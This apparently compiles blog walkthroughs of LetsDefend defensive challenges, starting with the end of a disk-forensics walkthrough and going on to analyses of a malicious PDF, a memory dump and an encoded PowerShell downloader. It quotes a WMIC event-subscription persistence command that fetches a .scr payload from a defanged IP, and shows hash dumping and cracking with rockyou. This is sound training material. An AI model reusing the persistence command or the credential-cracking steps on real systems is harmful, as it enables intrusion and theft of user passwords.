Hey, we found something of interest — a job application (Application.pdf) in the victim’s Downloads folder! Fortunately for us, we can quickly collect the file hash of this artifact by right-clicking the file and using the Export File Hash function. This will allow us to export the MD5 & SHA1 hashes to a text file for evidence.

Let’s check our export, copy the MD5 hash, and submit the answer to confirm our findings.

Question 2: What is the domain from which the document was downloaded?

Since we know the victim downloaded the file from a website, let’s check if we can locate the download source. A good starting point will be to check if there are any interesting artifacts in the web browser databases. So, our plan is to try to extract the History database file from the disk image and view it with another one of our installed tools, DB Browser.

Before we go further, let’s pull back and reference a handy cheat sheet from Foxtron Forensics as a reference to the web browser databases:

This article applies to Google Chrome but since Microsoft Edge is Chromium-based (Since 2019), this will apply to either one on the victim’s system.

Let’s head back into FTK Imager and check which browser the victim used to download the malicious application. Navigate to PDFURI.001 > NONAME [NTFS] > [root]\Users\Work\AppData\Local

In the directory we do not see any reference to Google as we would expect from the cheat sheet, but we do see Microsoft, so the user probably used Microsoft Edge as their browser_._ Now, let’s navigate to Microsoft\Edge\User Data\Default.

Right-Click on the Default folder and select export files — this will allow us to extract the contents of the entire Default folder including the browser databases so that we can view them.

Now, we will load up DB Browser (SQLite) from our Tools folder. Once it is open, press Open Database and select the History database. Now we can select the Browse Data tab and browse the tables within it.

Referencing the cheat sheet we understand:

Downloads are stored in the €˜History’ SQLite database, within the €˜downloads’ and €˜downloads_url_chains’ tables.

Let’s start with the Downloads and Downloads_URL_Chains tables to see what we find? Unfortunately, these come up empty so let’s pivot and just try to explore the victim’s browsing history.

We’ll select the URLs table and browse through the URL history. After reviewing the entries, we start to piece together the victim’s browsing history and then, we stumble across this entry:

It looks like we located the domain of the Application.pdf file we found earlier — nice work!

Question 3: What is the email address of the victim?

Okay, let’s stick with DB Browser (SQLite) and continue searching for data in the Microsoft Edge browser databases. Let’s think about where the victim’s email address might be stored — maybe they saved it as an autofill item in the browser to save time during their job search?

If we go back to our Foxtron Forensics reference and search for autofill we find the following information:

Form History is stored in the €˜Web Data’ SQLite database, within the €˜autofill’ table. Older versions of Chrome stored associated dates within an €˜autofill_dates’ table.

Why don’t we check it out? We’ll go ahead and open the Web Data database and browse the autofill table…

There we go! I think we found the answer to Question 3. Let’s submit it and move on.

Question 4: What is the command that is executed by the malicious document?

Alright, now we get to pivot and try some static analysis!

Let’s try another tool available in our analysis environment — PDFStreamDumper. This tool should let us perform some static analysis of object streams within a PDF file and see if there is anything malicious.

This is my first time using this tool but according to the developer’s page:

This is a free tool for the analysis of malicious PDF documents.

Has specialized tools for dealing with obfuscated JavaScript, low level pdf headers and objects, and shellcode.

First things first — Remember the Application.pdf we found back in Question 1? We’re going to go back into FTK Imager, navigate to the file path from Question 1, and right-click on the file and the export.

Once we have completed the export, we’ll open PDFStreamDumper from the Tools folder, load the Application.pdf file into PDFStreamDumper. When the loading is completed, we can check the output and start to analyze the objects contained in the file!

On the left side column, we see that the tool has parsed 6 objects within the PDF file. Let’s analyze the objects one-by-one and see if we can find anything suspicious…

Something in object 5 sticks out, doesn’t it? Immediately, we can see that there is quite a bit of code in this object compared to the others. But more importantly, there also appears to be a Base64 encoded PowerShell command stored here as well — this should answer Question 4!

Side Quest:

While out of scope for this challenge, it might be fun to jump into something like CyberChef to decode the PowerShell command we found stored in the object. This will help us to better understand the impact of the User Execution (MITRE ATT&CK T1204.002) on the victim’s system.

In this case, the PowerShell script creates a stored Environmental Variable with a string message from the threat actor. Again, not relevant for this challenge but it would be something to explore in a real-world analysis.

Question 5: Seems the PC username changed to another one. Can you identify the new Username?

We’ve made it to the last question! In this question we are looking for the username that changed. To answer this question, we need to first understand where username values are stored and if we can extract that from a forensic disk image, right?

Let’s pull back a bit and recap: In Question 1 we explored the Users folder where the home folders for each user on the system is stored. Based on our evidence, the victim was using the profile named Work. Now we need to locate another location that contains user account information to see what has changed.

Where could we find this information though? Well, according to Microsoft Learn we could check th_e Security Account Manager (SAM) Database_:

The Security Accounts Manager (SAM) is a database that stores local user accounts and groups.

Let’s go back into FTK Imager and see if we can extract the SAM Database from the image. In FTK navigate within the Evidence Tree to (PDFURI.001 > NONAME [NTFS] > [root]/Windows/System32/config/) and select the SAM file. We’ll do the same process to export this file to our evidence folder.

Locating and exporting the SAM database from FTK Imager

Now that we have the SAM Database extracted_,_ let’s load with another analysis tool Eric Zimmerman’s Registry Explorer.

If we expand the keys within the SAM hive down to Names, we can see all the local usernames on the system. All the Names listed are default Windows usernames except one of them — Since we know the user account was called Work, and we no longer see that in the database, I think we found the answer to Question 5!

Exploring the SAM Database in Registry Explorer

Conclusion:

Great work on the investigation, and thank you for joining me on this learning journey!

A special thanks to LetsDefend.io for presenting yet another engaging challenge. This challenge was not only enjoyable but also served as an excellent primer on various forensic tools such as FTK Imager, DB Browser, PDF Stream Dumper, and Registry Explorer. It provided us with a practical context to understand how we, as defenders, can quickly analyze browser artifacts, malicious PDF files, and the Windows Registry.

I hope that you had as much fun as I did and learned something new, too. Stay curious!

Tools & References:

FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager

Chrome Forensics: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

DB Browser for SQLite: https://sqlitebrowser.org/

PDF Stream Dumper: http://sandsprite.com/blogs/index.php?uid=7&pid=57

MITRE ATT&CK (User Execution: Malicious File): https://attack.mitre.org/techniques/T1204

Microsoft Learn SAM Database Reference: https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM

Registry Explorer: https://ericzimmerman.github.io/#!index.md

LetsDefend — PDF Analysis Challenge Walkthrough

Mon, 04 Mar 2024 00:00:00 +0000

LetsDefend — PDF Analysis Challenge Walkthrough

Analyzing a Malicious PDF Document with REMnux & Peepdf

Image Credit: LetsDefend.io

Introduction:

Hello — Thanks for joining me on this walkthrough! This week I am going to tackle the medium difficulty PDF Analysis Challenge on LetsDefend! This challenge should be a great opportunity to expand my PDF analysis skills and learn some new tools for my workflow. This time around, I am also checking out and using REMnux to work through this challenge_._ If you are unfamiliar, REMnux is a Linux distro built for malware analysis so we should have some cool tools to check out. As always, this write up will serve as both a learning journal for me and a LetsDefend challenge walkthrough for anyone who stumbles upon this post. Thanks for reading — hope it helps!

Challenge Link: https://app.letsdefend.io/challenge/pdf-analysis

Challenge Scenarios:

An employee has received a suspicious email:

From: SystemsUpdate@letsdefend.io To: Paul@letsdefend.io Subject: Critical — Annual Systems UPDATE NOW Body: Please do the dutiful before the deadline today. Attachment: Update.pdf Password: letsdefend The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.

NOTE: Do not open in your local environment. It is a malicious file.

This challenge prepared by @DXploiter

Setup the REMnux Analysis Environment & Extract the challenge file:

First, I want to set the stage since this is my first time using REMnux. I’ll be referencing the excellent REMnux Documentation regularly in this post:

https://docs.remnux.org/

Second, to keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to setup your own REMnux environment please follow the directions provided by REMnux directly.

For reference, I opted for the virtual appliance method:

https://docs.remnux.org/install-distro/get-virtual-appliance

Okay! Now that we have our environment created, updated, isolated, and snapshotted, we can extract our challenge file archive and get started!

Questions 1, 2, & 3 :

What local directory name would have been targeted by the malware?

What would have been the name of the file created by the payload?

What file type would this have been if it were created?

There are a couple of ways to approach this challenge that I am familiar with already, but since I am using a new environment for analysis, we’ll start by checking out the REMnux documentation and see what PDF specific analysis tools are available. https://docs.remnux.org/discover-the-tools/analyze+documents/pdf

Wow! There are quite a few tools we can use but before we dive in, let’s pull back a little. I want to point out an awesome reference poster that can help provide some context, the SANS Analyzing Malicious Documents cheat sheet. This is an incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents.

We’ll start first with the tools that I am familiar with already and covered by the SANS cheat sheet — pdfid & pdf-parser. We can use these tools for basic analysis to get a high-level view of the malicious PDF document.

After running pdfid & pdf-parser, we get some basic information about the malicious PDF. Something interesting to note are the three /OpenActions. Open actions are triggered when a PDF file is opened and could be abused by a bad actor to execute JavaScript, open a file/web page, etc. Let’s make a note of this finding as we go deeper into the investigation.

pdfid output.

pdf parser output.

While helpful, these tools aren’t giving us the deep analysis context we are looking for. Let’s try peepdf, which the REMnux documentation states can be used to " # "

examine elements of the PDF file."

After reviewing the tool’s documentation and checking out the usage options, Let’s try it out and point it to the malicious PDF. We will use the -f option to force parsing of the file and ignore any errors that are encountered.

peepdf -f /home/remnux/Challenges/pdfAnalysis/Update.pdf

Peepdf output.

This gives us a nice overview with a bit more detail than we saw with pdfid, but we want to go even further. So, next, we’ll enter peepdf’s interactive mode with the -i option_._ Once we enter the interactive mode we’ll pull up the help menu and see what commands we have available to move forward.

peepdf -i -f /home/remnux/Challenges/pdfAnalysis/Update.pdf

Let’s first focus on the " # "

suspicious elements" flagged by the tool. Remember the three Open Actions we noted after running pdfid? Let’s try to analyze these objects more closely. After running peepdf we see under /OpenAction that there are three objects: 19, 26, & 17.

Let’s go down the line and use the object command to show the decoded content — we’ll start with object 19.

This is very interesting! This object contains a Base 64 encoded PowerShell command. Let’s jump into CyberChef which is also built-in to REMnux. Maybe we can build a recipe that we can use to decode this script? Since we know the command is Base 64 encoded, let’s start there and apply a reverse operation and to get something readable:

Awesome! We successfully extracted and decoded the malicious PowerShell command with CyberChef. With that, we can answer Questions 1, 2, & 3!

Questions 4, 5, 6:

Which external web domain would the malware have attempted to interact with?

Which HTTP method would it have used to interact with this service?

What is the name of the obfuscation used for the Javascript payload?

Let’s continue looking at the other /OpenAction objects and try to understand what they are doing. This time, we’ll focus on 17 — don’t worry we will circle back to 26 later.

This looks like it is pointing to something else at 33, maybe a stream within the object? Fortunately, peepdf also has a stream command we can use to show the decoded stream content.

After running it, we get the above output. This looks like obfuscated JavaScript, right? We also see some readable strings referring to HTTP requests, specifically POST, and references to JSON. We are probably looking in the right place, since these are methods for transporting data from a client to a server.

Let’s focus on the _eval()_ function_._ Here is some information from Mozilla:

The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.

Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use eval().

That sounds risky — it seems like this is an obfuscated payload where the _eval()_ function reads and then executes the string.

Let’s pivot and refer back to the REMnux documentation to see if we can find a useful method to analyze scripts. Fortunately, there are a few tools listed, including JS Beautifier which can be used to " # "

Reformat JavaScript scripts for easier analysis."

While we can use the online version — let’s stay in REMnux and use the built-in utilities for fun. We’ll export the stream into a text file, feed it to JS-Beautify, and see if the tool deobfuscates the code in the output for further analysis…

There we go! This looks like the information we need to answer Questions 4, 5, & 6!

Questions 7, 8, 9, 10, & 11:

Which tool would have been used for creating the persistence mechanism?

How often would the persistence be executed once Windows starts? (format: X.X hours)?

Which LOLBin would have been used in the persistence method?

What is the filename that would have been downloaded and executed using the LOLbin?

Where would this have been downloaded from? (format: IP address)

So let’s recap quickly. We have been doing deep dives into the /OpenAction we uncovered with peepdf and have already analyzed objects 17 & 19.

Now, let’s return to our interactive peepdf console and check out the last of the /OpenActions, object 26.

Surprise, surprise — more obfuscated code. It seems like this will attempt to execute some arbitrary code with PowerShell. Maybe we can do some dynamic analysis and actually run the code in PowerShell to understand what it does?

First, we will export the code into a PowerShell (.ps1) script file. After reviewing the REMnux docs again, it looks like we have PowerShell core built in. This is perfect, we should be able to execute our script and have it print the output rather than execute the malicious code.

Even though we are performing our analysis in a sandboxed environment without network access, we will change the Invoke-Expression $LoadCodeto Write-Output $LoadCodeso we aren’t executing the malicious code but writing the output to the console instead.

Setting the .ps1 script to write output to the console.

Badscript.ps1 PowerShell with Write-Output.

Excellent — this output should provide us with enough information to answer the remaining questions for this challenge.

For Question 7, it looks like the script is abusing WMIC to create a persistence mechanism. For context, WMIC is an older command line tool used for interacting with Windows Management Instrumentation (WMI) which can be used to control and query Windows.

According to MITRE ATT&CK this sub-technique (T1546.003) can be abused for persistence:

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.

Let’s focus on some specifics in the output for the context of our investigation:

**Query=" SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA €˜Win32_PerfFormattedData_PerfOS_System’" **

wmic /NAMESPACE:" \root\subscription" PATH CommandLineEventConsumer CREATE Name=" RHWsZbGvlj" , ExecutablePath=" C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe €˜hxxp://60.187.184.54/wallpaper482.scr’

Okay, I’m going to stumble through an oversimplification here — It seems that the WMIC command is used to create an event subscription where every 9000 seconds (or 2.5 hours) the command line event consumer " # "

RHWsZbGv1j" is triggered. This consumer launches the legitimate process, Powerpnt.exe. with the command line argument " # "

**hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr" ** to open the wallpaper482.scr file.

Whew! Okay, now acouple of things to note here for our questions:

Since PowerPoint (Powerpnt.exe) is a legitimate binary included with Microsoft Office, this is an example of the malicious file abusing a legitimate command for bad activity. This technique is an example of using a " # "

living off the land binary" or LOLbin.

hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr is a defanged URL so that it can’t be accidentally clicked — safety first!

Regarding the wallpaper482 file — A .scr file, while normally used for Windows screen saver, is an executable file type and can contain malware. In this case, I think we can be pretty confident that it does!

Question 12: Which country is this IP Address located in?

Finally, we are at the last question! Now that we have the IP address where the persistence payload is retrieved, we can see what kind of geolocation intelligence we can gather about this IP address. We’ll check a couple of geolocation databases as the location data can vary depending on the method the database provider used to determine the geolocation.

We’ll start as usual with VirusTotal where we can see tentatively that the IP address is located in China.

To double-verify, we will also check the IP address using ipinfo.io.

Geolocation data from https://ipinfo.io/

Okay, double-confirmed! I think we can submit our answer and wrap up this investigation!

Conclusion:

We made it! Thank you to LetsDefend for hosting another awesome challenge. This was a really fun one with so much practical application that can be taken back into the field including the opportunity to try out REMnux and perform analysis on a malicious PDF file with some awesome tools like pdfid, pdf-parser, and peepdf.

Thank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!

Tools & References:

LetsDefend PDF Analysis Challenge: https://app.letsdefend.io/challenge/pdf-analysis

REMNux: https://remnux.org/

REMnux Documentation: https://docs.remnux.org/

Adobe Open Actions Reference: https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html

SANS Analyzing Malicious Documents Cheat Sheet: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/

pdf-parser.py: https://blog.didierstevens.com/programs/pdf-tools/

pdfid.py: https://blog.didierstevens.com/programs/pdf-tools/

peepdf: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

CyberChef: https://gchq.github.io/CyberChef/

JavaScript eval function: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Mozilla Developer Network: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

JS Beautifier: https://beautifier.io/

MITRE ATT&CK Event Triggered Execution: Windows Management Instrumentation Event Subscription: https://attack.mitre.org/techniques/T1546/003/

VirusTotal: https://www.virustotal.com/

Ipinfo.io: https://ipinfo.io/

LetsDefend — Memory Analysis Challenge Walkthrough

Sun, 18 Feb 2024 00:00:00 +0000

LetsDefend — Memory Analysis Challenge Walkthrough

Endpoint Investigation with Volatility 3

Introduction:

Hello!

It’s another week, another challenge. This time I’m continuing with my write-ups of the practice challenges over at LetsDefend and will be tackling the Memory Analysis room. This room is rated medium difficulty and notes that we can use Volatility, a memory forensics tool to complete it. As always, I want to take the opportunity to give back to the community and do some write-ups as I go through the challenges to help anyone who stumbles across this post to level-up their analysis. I am new to using Volatility and excited to stumble through this challenge while getting some hands-on time with the tool. To keep this blog focused, I am not going to cover the setup for Volatility3 but I will point you to the readme over on their GitHub: https://github.com/volatilityfoundation/volatility3

Thanks for reading!

Challenge Link: https://app.letsdefend.io/challenge/memory-analysis

Challenge Scenario:

A Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.

NOTE: You can use the Volatility for analysis.

This challenge prepared by 0xCyberJunkie.sh

Question 1: What was the date and time when Memory from the compromised endpoint was acquired?

Since we’re going into this one blindly, let’s start to get more familiar with Volatility3 by taking a look at the quick start guide on the GitHub page. It looks like there is a command used to check out what help options we have available within the application. This will help us to tackle the challenge moving forward.

python3 vol.py -h

Now, the scenario says we are analyzing a memory dump from a Windows endpoint so let’s just scroll through the Windows modules to see if there is anything that might help us to get some general information about the memory dump. After scrolling through the list, we stumble across this module:

This plugin might be a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment.

For context, I had previously downloaded and extracted the challenge file to my Kali Linux environment for analysis. When we run Volatility we will point to the challenge file path with the -f parameter and have it use the windows.info plugin.

After running the command, we get the above output. I think the SystemTime might answer the question — let’s confirm that we have the right answer:

Question 2: What was the suspicious process running on the system? (Format : name.extension)

Let’s leverage Volatility to dig a bit deeper and understand the running processes at the time the memory dump was taken. If we refer to the help again we have several process options. We’ll try the pslist module first to see if we can find anything suspicious. To make this a little easier to read, we’ll output this to a text file.

If we scroll through our evidence file, nothing initially sticks out as looking too suspicious. There are a few processes that I’m unfamiliar with but a quick Google refresher confirms that everything appears legitimate. Maybe we need some more detail? Let’s pivot and try something else process related — the pstree module could be interesting.

After looking over the output a few times, I still don’t see anything obvious (like evil.exe or something) sticking out. We are definitely missing something. Let’s brush up on normal Windows processes behavior using the excellent SANS Hunt Evil reference graphic.

After looking this over, I think I see something. Let’s revisit the pstree output and dial-in on the lsass.exe (PID 7592) processes.

SANS Hunt Evil reference for lsass.exe

Let’s compare the artifacts from the victim system to the SANS reference. Look closely at the below instance of lsass.exe (PID 7592) from the pstree output. There are a couple of red flags that we notice if we compare to the normal behavior documented above:

The first red flag is the parent process ID (PPID) of this lsass.exe process. According to the SANS reference, this should be wininit.exe (PID 500) but the parent process for this lsass.exe is actually 3996 (explorer.exe) — That seems suspicious and definitely requires some further investigation…
The second red flag is the image path of the executable. Take a close look and notice that the image path is %SystemRoot%*System*\lsass.exe and NOT the expected path %SystemRoot%*System32*\lsass.exe — this is a subtle evasion technique.
Earlier, I mentioned lsass.exe processes — this is the third red flag, there are two instances of this process. This is something that should have tipped us off after running the pslist command (whoops!) If we search for lsass.exe and grep the output to the terminal we now see clearly that there are two different instances…

There are two!

The suspicious lsass.exe

The legitimate lsass.exe

After focusing the analysis and comparing the known process behavior for lsass.exe (PID 7592), I think we can be pretty confident that we have identified the suspicious process. Let’s submit the answer and confirm.

Question 3: Analyze and find the malicious tool running on the system by the attacker (Format name.extension)

Now that we have uncovered the suspicious process, we will need to perform further analysis on the tool. Let’s circle back to the Volatility3 help command. In addition to the general help file, Volatility also offers help for the individual plugins options:

Since we know what process ID we want to analyze, maybe we can use pslist again to dump the running process from the memory dump file? Let’s try the help command for that specific plugin.

Awesome! There is a dump option. Once we feed Volatility the PID, we should get a file output to analyze.

Great, it worked! Let’s get to work on gathering some intelligence and see if we get any hits on VirusTotal or Hybrid Analysis. First we’ll grab a hash of the file which will help us document our indicators of compromise; we can do this right from the terminal:

Then, let’s search VirusTotal for any hits…

Okay — We’ve got a lot of detection and additional analysis for this tool now and we can confirm that it is malicious. For our challenge, we are looking for the name of the malware. VirusTotal has the filename listed as winPEAS.exe — let’s submit our finding and see if we are on the right track.

Question 4: Which User Account was compromised? Format (DomainName/USERNAME)

We’re going to jump back into Volatility to try and scope the impact of this malware and look for which user on the system was compromised. All of our previous process analysis has not given us much user information yet. Once again, we’ll turn to the Volatility command reference for a starting point:

To view the SIDs (Security Identifiers) associated with a process, use the getsids command. Among other things, this can help you identify processes which have maliciously escalated privileges and which processes belong to specific users.

This plugin sounds like it could be what we are looking for to uncover additional information. Since we know the PID (7592) of the malicious executable, let’s also see if we can get any info about the user account that ran it. We can run the getsids plugin and grep the malicious PID to the output. Hopefully, this will list out the security identifier (SID) of the user.

There we go! It looks like the top result is the user account, CyberJunkie. Even though we have the domain identifier in the SID, we still need to find the domain name to complete the question.

If we go back to search the built-in help and the command line reference, we don’t see anything that references a domain specifically. We will have to get creative and go a little deeper. Let’s give the command line reference one more look for anything that could give us more information generally. What about the envars plugin? This sounds like it could reveal some new, relevant artifacts.

To display a process’s environment variables, use the envars plugin. Typically this will show the number of CPUs installed and the hardware architecture (though the kdbgscan output is a much more reliable source), the process’s current directory, temporary directory, session name, computer name, user name, and various other interesting artifacts.

In a Windows domain, the USERDOMAIN environment variable contains the workgroup or domain that a user belongs to. I’m thinking that we can try the same method that we did to get the account SID and grep the malicious PID?

It looks like this worked. Now we have the domain name and the username of the victim. This plugin actually gave us both parts of the answer, too. Now we have two methods to discover usernames.

Question 5: What is the compromised user password?

For the last task, we need to get the password for CyberJunkie. I’m not sure where this fits into the investigation narrative, but it will be fun to keep exploring Volatility and practice some password cracking while we’re at it. Let’s go back one last time to the Volatility help and see what we plugin might help us.

It seems like the hashdump plugin might be able to dump the user’s password hashes for us. We’ll get a little more context from the command reference again:

To extract and decrypt cached domain credentials stored in the registry, use the hashdump command

Hashes can now be cracked using John the Ripper, rainbow tables, etc.

Let’s try it out. Again, we will output the results to a text file for easier analysis.

After reviewing the output, we now have the NTHash of the user password from cached credentials in the registry! Now we need to crack the password to solve the challenge.

The Volatility docs suggest that we can throw the hash into John the Ripper, or something similar. I prefer John the Ripper but you could also use hashcat or even CrackStation if you want to do a quick check. For illustrative purposes, I will show all three here and use the classic rockyou.txt wordlist.

Cracking the user’s NTHash with John the Ripper.

Cracking the user’s NTHash with hashcat.

Cracking the user’s NTHash with CrackStation.

There we have it! Using Volatility we were able to dump the user hashes and crack them to discover the password. Let’s submit the answer and wrap this challenge up.

Conclusion:

Great job! We got to explore Volatility3 and made it through the challenge. This challenge really got me interested in utilizing Volatility and was a great introduction to the tool. Thank you to LetsDefend.io for the awesome lab and thank you for checking out this walkthrough and stumbling through the challenge with me. Stay curious!

LetsDefend — PowerShell Script Challenge Walkthrough

Sun, 11 Feb 2024 00:00:00 +0000

LetsDefend — PowerShell Script Challenge Walkthrough

PowerShell Script Analysis with CyberChef

Introduction:

Hello! I just started checking out the practice labs over at LetsDefend and adding them into my rotation. I want to take the opportunity to give back and do some write-ups as I go through the site to help anyone who stumbles across this post to level-up their analysis. This challenge room is rated easy, but it presents a great opportunity not only to get familiar with the platform (and find some flags!) but also sharpen my own skills by digging deeper with some research into some fundamentals PowerShell script analysis. Thanks for reading!

Challenge Link: https://app.letsdefend.io/challenge/powershell-script#virtual

Challenge Scenario:

You’ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!

Tool Needed: Cyberchef File Location: C:\Users\LetsDefend\Desktop\script.txt

This challenge prepared by ZaadoOfc Credit: csnp.org

Question 1: What encoding is the malicious script using?

First, let’s take a quick look at this script and focus on the parameters:

Notice the -Enc parameter and the script that follows? PowerShell supports abbreviated parameters as long as it is unambiguous and couldn’t be confused with another command. With that in mind, this looks like it is the abbreviated parameter of -EncodedCommand. According to Microsoft Learn, this parameter allows PowerShell to accept a Base64 encoded command. The encoding obfuscates the script so that security tools and defenders won’t be as easily able to detect and analyze the contents.

Let’s try the answer…

Nice, we got one! Let’s keep moving.

Question 2: What parameter in the powershell script makes it so that the powershell window is hidden when executed?

Looking at the parameters again, one sticks out:-W Hidden

If we refer to Microsoft Learn, it seems that -W is a shorthand for -WindowStyle where Hidden is a value that makes the session not visible to the user when the script is executed.

Question 3: What parameter in the Powershell script prevents the user from closing the process?

Approaching this the same way as the last question, there is a parameter that seems like it might correct: -NonI

Going back to Microsoft Learn, this seems to be a parameter abbreviation for -NonInteractive which means that the session won’t prompt for/require user input during execution of the script.

Question 4: What line of code allows the script to interact with websites and retrieve information from them?

From Question 1, we know that we are looking at a Base64 encoded script so we need to decode and analyze the payload to understand what it is doing. Our challenge scenario tells us we will want to jump into CyberChef to decode

Now, let’s apply the From Base64 operation to our recipe. We are getting closer and the script is starting to become readable, but notice the NULL bytes?

What if we add Remove Null Bytes to the recipe, too?

That looks better!

Now that we can read this, let’s take a closer look and tackle the rest of this question. We are looking for a " # “line of code allows the script to interact with websites and retrieve information from them”— let’ look at the first line. We see a reference to the string WebClient, this seems like a good place to start!

Microsoft Learn states that WebClient is a class in the System.Net namespace and is used to download or upload data to the internet. So by creating this class you can perform web-related tasks such as downloading files from URLs.

If we take the whole line, it looks like we have our answer and can start to understand that the script might be trying to download something from somewhere…

Question 5: What is the user agent string that is being spoofed in the malicious script?

Looking at the next line, we see the $u variable set as this string:

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

According to Mozilla, this looks like a pretty standard user agent string so we probably our answer already. For context, user agent strings are used by servers to identify requesting client details like the operating system, web browser version, and the web rendering engine.

While not required for this challenge, a cool thing you can do is try a user agent lookup tool to help provide some context for the spoofed user agent string. If we run the string from the challenge, we can get some additional intelligence and see what client the script is spoofing!

Question 6: What line of code is used to set the proxy credentials for authentication in the script?

Okay, looking at the decoded script we see a reference to Proxy.Cedentials which puts us in the right place for the question.

The full code seems to be suggesting that the script sets the variable to use the System.Net.CredentialCache.DefaultNetworkCredentials property of the credential cache. After doing some research, it seems that when using PowerShell to connect out to external web (HTTP/HTTPS) resources, it does not use the system’s specified proxy server settings by default and they must be specified — Microsoft Learn states that:

The credentials returned by DefaultNetworkCredentials represents the authentication credentials for the current security context in which the application is running. For a client-side application, these are usually the Windows credentials (user name, password, and domain) of the user running the application.

That’s a lot of information! Essentially, it appears that the command is simply using the current security context (user name, password, and domain) to set proxy authentication in the script to make the web request to ensure that it gets out.

Question 7: When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?

We made it, last one! This one is easy to spot. Let’s look at the $DownloadString — this is pointing our $WC (WebClient) instance to download the content of the specified URL.

WebClient.DownloadString Method (System.Net) _Downloads the requested resource as a String. The resource to download may be specified as either String containing the…_learn.microsoft.com

Now that we have the URL, we could apply additional intelligence, perform further analysis, and apply mitigations for the indicator but for the purposes of this challenge this is as far as we need to go. Let’s submit the flag and wrap this up!

Conclusion:

Whew! We made it through the challenge and we also have a better working understanding of this script: basically when the victim executes the script, PowerShell runs the code in a hidden, non-interactive window where it downloads the malicious payload from an external URL. Good work!

Thanks for checking out this walkthrough and thank you to LetsDefend.io for the fun lab. I hope whoever stumbled upon this post found it helpful and that the additional analysis and context added some value for you. Stay curious!